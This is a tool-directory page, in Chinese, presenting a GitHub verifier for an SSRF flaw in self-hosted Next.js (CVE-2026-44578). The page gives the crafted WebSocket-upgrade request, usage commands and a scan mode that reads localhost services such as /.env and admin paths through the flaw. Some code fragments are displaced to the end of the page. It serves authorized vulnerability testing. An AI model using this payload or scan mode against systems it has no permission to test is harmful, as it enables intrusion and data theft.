Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
verify-ghsa-c4j6-fc7j-m34r — 用于 GHSA-c4j6-fc7j-m34r / CVE-2026-44578(Next.js WebSocket-upgrade SSRF)的 OOB 验证器 | Kitploit
工具/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试红队
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

用于 GHSA-c4j6-fc7j-m34r / CVE-2026-44578(Next.js WebSocket-upgrade SSRF)的 OOB 验证器

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
23个月前尚未审核
分享

verify-ghsa-c4j6-fc7j-m34r

针对 GHSA-c4j6-fc7j-m34r / CVE-2026-44578 的带内(in-band)验证器 —— Next.js 中经由 WebSocket 升级请求实现的服务器端请求伪造(SSRF)。

⚠️ 仅限已获授权的安全测试。你需自行确保拥有对传入本脚本的每个目标进行测试的权限。

漏洞详情

字段值
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (高) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
受影响版本next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
已修复版本15.5.16, 16.2.5
修复提交c4f69086
不受影响Vercel 托管;output: "export";位于不转发 Upgrade 的反向代理之后的部署

该漏洞的实际原理(已针对 15.5.15 与 15.5.16 进行实证验证)

  1. 攻击者与自托管的 Next.js 进程建立 TCP 连接,并发送一个请求行(request-URI)为绝对 URL 的 HTTP/1.1 WebSocket 升级请求:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. 在 resolveRoutes 中,URL 包含 //(所有绝对 URI 均如此),因而匹配“规范化重复斜杠”分支。该分支提前返回 { finished: true, statusCode: 308, parsedUrl: <mangled> }。规范化器将 http://host/path 折叠为 http:/host/path(仅一个斜杠)。

  3. 在 router-server.ts 中,补丁前的升级处理器忽略了 finished/statusCode,仅检查 parsedUrl.protocol。由于协议在规范化后仍然保留,因此它会调用 proxyRequest(...)。

  4. proxyRequest 对损坏后的 URL 执行 ,得到 。 解析该目标后,发现其中没有 host(),于是回退到其默认目标:(对于 则为 )。

修复方案(提交 c4f69086)让升级处理器在代理前检查 finished && !statusCode。308 规范化场景现在无法通过 !statusCode 检查,套接字将被直接关闭。

为何基于回调的带外(OOB)验证器不适用于本 CVE

该代理永远不会访问外部主机。如果你搭建 interactsh / Burp Collaborator / webhook 探针并期望 Next 进程回连,它不会——连接只会到达目标机器上的 localhost。因此,本验证器使用从升级套接字读取的带内信号:存在漏洞的服务器会返回可辨识的错误响应体,已修复的服务器则不返回任何内容。

实际影响

SSRF 目标受限,但真实部署中仍有意义:

  • 与 Next 同宿主部署的 sidecar 容器 / 反向代理 / 管理面板,若它们绑定 127.0.0.1:80 或 :443 且信任源自 localhost 的请求。
  • 通过 HTTP 暴露在 127.0.0.1:80 上的 Docker 套接字(不常见但确实存在)。
  • 利用攻击者控制的 URI 路径与 WebSocket 升级语义,对任意 localhost HTTP 服务进行路径遍历。

AWS / GCP / Azure 元数据端点(169.254.169.254)无法直接到达,因为该漏洞将目标固定为 localhost。

检测模型

对于每个目标,脚本会打开一个原始 TCP(或 TLS)套接字,发送构造好的升级请求,读取响应,并产生两个信号:

  • verdict — 漏洞是否存在。
  • impact_confirmed — SSRF 是否实际泄露了数据(即目标 localhost:80/443 上的共存服务是否应答,且我们是否读回了其响应)。

当 impact_confirmed 为 true 时,JSON 输出还会包含从泄露响应中解析出的 upstream_status、upstream_server 与 upstream_content_type(便于分类与撰写报告)。

前端代理误报防护

默认情况下,每个目标还会收到一条对照探针:使用相同的绝对 URI 请求行,但不携带 Upgrade 头(Connection: close)。如果前端对两条探针返回相同响应(状态行 + 容差范围内的长度),则说明目标主机自身的前端(nginx 400、Apache 400、CDN 边缘节点)拒绝了绝对 URI 请求行,SSRF 从未到达 Next。此时判定降级为 front_end_intercepts,JSON 输出中会包含从代理响应解析出的 front_end_status 与 front_end_server,以便操作者识别是哪个组件在拦截。

这消除了一个真实世界中观察到的误报场景:当自托管 Next 位于 nginx/Apache 之后时,这些代理会以通用 400 拒绝探针的 GET http:///x HTTP/1.1 请求行,而此前的检测器会将其误读为 vulnerable_proxy_succeeded。传入 --no-control-probe 可退出该防护并查看原始判定。

环境要求

  • Python 3.10+
  • 无第三方依赖(仅标准库)

用法

root@kitploit:~
# 单目标
python3 verify_ghsa_c4j6.py --target https://app.example.com

# 通过重复参数指定多个目标
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# 从文件读取(每行一个目标;'#' 开头为注释)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# 从标准输入读取
cat targets.txt | python3 verify_ghsa_c4j6.py

# JSON Lines 输出,便于下游工具处理
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# 通过该漏洞枚举目标 localhost:80/443 上的共存服务
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# 同上,但使用自定义路径列表
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

扫描模式

--scan 通过该 SSRF 探针探测一组内置的常见路径(Apache/nginx 状态模块、健康与指标端点、Spring Boot Actuator、Go pprof、Docker 守护进程端点、常见管理面板、易泄露的配置文件、Elasticsearch 路由等)。

默认情况下,扫描模式会对每个目标额外发送一条差分基线探针(随机不存在的路径)。后续探针仅当 (status, body length) 签名与基线存在差异时才会被标记为 DIFF —— 来自“未命中任何内容”的上游服务的统一 404 会被标记为 noise,不会虚增命中计数。传入 --no-differential 可报告所有到达服务的探针(旧版行为)。

输出按目标分组:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (另有 53 个 404 'noise' 路径已省略) ...
  -> 5 个差分命中 / 58 条探针
  -> 观察到的上游服务器: SimpleHTTP/0.6 Python/3.14.4

DIFF 行才是真正的命中 —— 即响应与随机路径基线存在差异(状态码不同或响应体长度不同)的路径。noise 行虽然也到达了某个 HTTP 服务,但产生的响应与基线相同 —— 通常是不值得关注的一律 404。当所有探针均为 noise 且不存在基线差异时,漏洞仍然存在,但该主机的 localhost:80/443 上没有有用的服务在监听。

参数

目标可以是 host、host:port 或完整的 http(s)://... URL。

代理支持

将所有探针通过 HTTP CONNECT 代理隧道,以便在 Burp / mitmproxy / OWASP ZAP 中检查:

root@kitploit:~
# 经由 Burp 测试明文 HTTP 目标
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# 经由 Burp 测试 HTTPS 目标(Burp 对 TLS 进行中间人 —— 需要 --insecure 或安装 Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# 带基本认证的代理
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

代理会看到一个 CONNECT host:port,随后是原始升级载荷 —— 当你希望 Burp 记录/重放/修改 SSRF 探针时非常有用。

本地复现

你可以用五条命令搭建一个带漏洞的实验室环境:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

输出:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

换用 [email protected] 重复上述步骤,应看到 verdict=likely_patched。

影响演示(真实数据泄露)

demo_impact.sh 将 Next 运行在 :80 上(这样其被固定到 localhost 的 SSRF 目标就是 Next 自身进程),并经由该漏洞读回 Next 自己的 HTML。需要 sudo 以绑定特权端口。

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

预期输出以 IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back 结尾。

注意事项

  • 漏报:Next 前任何不转发 Upgrade 头的反向代理都会掩盖该漏洞;脚本将报告 likely_patched。如有可能,请直接对 Next 进程重新测试。
  • 误报:字面量字符串 Internal Server Error 理论上也可能由某个上游代理自行返回。为排除该情况,请以 Connection: close(而非 Connection: Upgrade)重新发送相同载荷 —— 真实的、存在漏洞的 Next 在此情形下将不再返回 Internal Server Error 响应体(走的是不同代码路径)。
  • 仅支持 HTTP/2 的目标:不在处理范围内。next start 默认使用 HTTP/1.1。

负责任使用

仅测试你拥有或已获得明确书面授权进行评估的系统。

参考

  • 公告:https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Next.js v15.5.16 发布:https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Next.js v16.2.5 发布:https://github.com/vercel/next.js/releases/tag/v16.2.5
  • 修复提交:https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

许可证

MIT

下载工具
url.format(parsedUrl)
http:/host:port/path
http-proxy
url.parse('http:/...').host === null
localhost:80
https
localhost:443
  • 因此,在实践中,该 SSRF 可让攻击者使 Next 向 Next.js 主机自身的 localhost:80 / localhost:443 发起 WebSocket 升级,并携带攻击者控制的路径。

  • 响应判定 (verdict)impact_confirmed
    包含 Internal Server Errorvulnerablefalse — 漏洞已证实,但代理在 localhost 上未命中任何服务
    以 HTTP/1. 开头vulnerable_proxy_succeededtrue — 已泄露真实响应数据
    空响应 / 正常关闭likely_patchedfalse — 同样覆盖“非 Next”“反向代理剥离 Upgrade”“Vercel”等情况
    与无 Upgrade 的对照组一致front_end_interceptsfalse — 前端代理短路了两种探测;SSRF 从未到达 Next
    其他情况inconclusivefalse
    参数说明默认值
    --target URL单个目标。可重复传入多个。—
    --targets-file PATH每行一个目标的文件。—
    --probe-path PATH构造绝对 URI 时使用的路径。将以该路径访问目标的 localhost 服务(按每目标令牌后缀记录日志)。/x
    --scan枚举各目标 localhost 服务上的常见路径。每个目标发送一条差分基线探针及路径列表。关
    --scan-paths-file PATH扫描模式的自定义路径列表(每行一个)。隐含 --scan。内置
    --no-differential在 --scan 模式下跳过基线探针,报告所有到达服务的探针(旧版行为)。关
    --no-control-probe关闭前端短路防护(每个目标额外发送一条无 Upgrade 的探针)。当目标确认是直连的 Next 进程时使用。关
    --timeout SEC每个套接字的超时时间。5
    --concurrency N并行探针数。10
    --insecure跳过 TLS 证书校验。使用 --proxy 对 TLS 进行中间人时必需。关
    --proxy URL通过 HTTP CONNECT 代理隧道(Burp / mitmproxy / ZAP)。支持通过 http://user:pass@host:port 使用基本认证。TLS 目标要求 Python 3.11+。直连
    --json以 JSON Lines 而非人类可读文本输出。关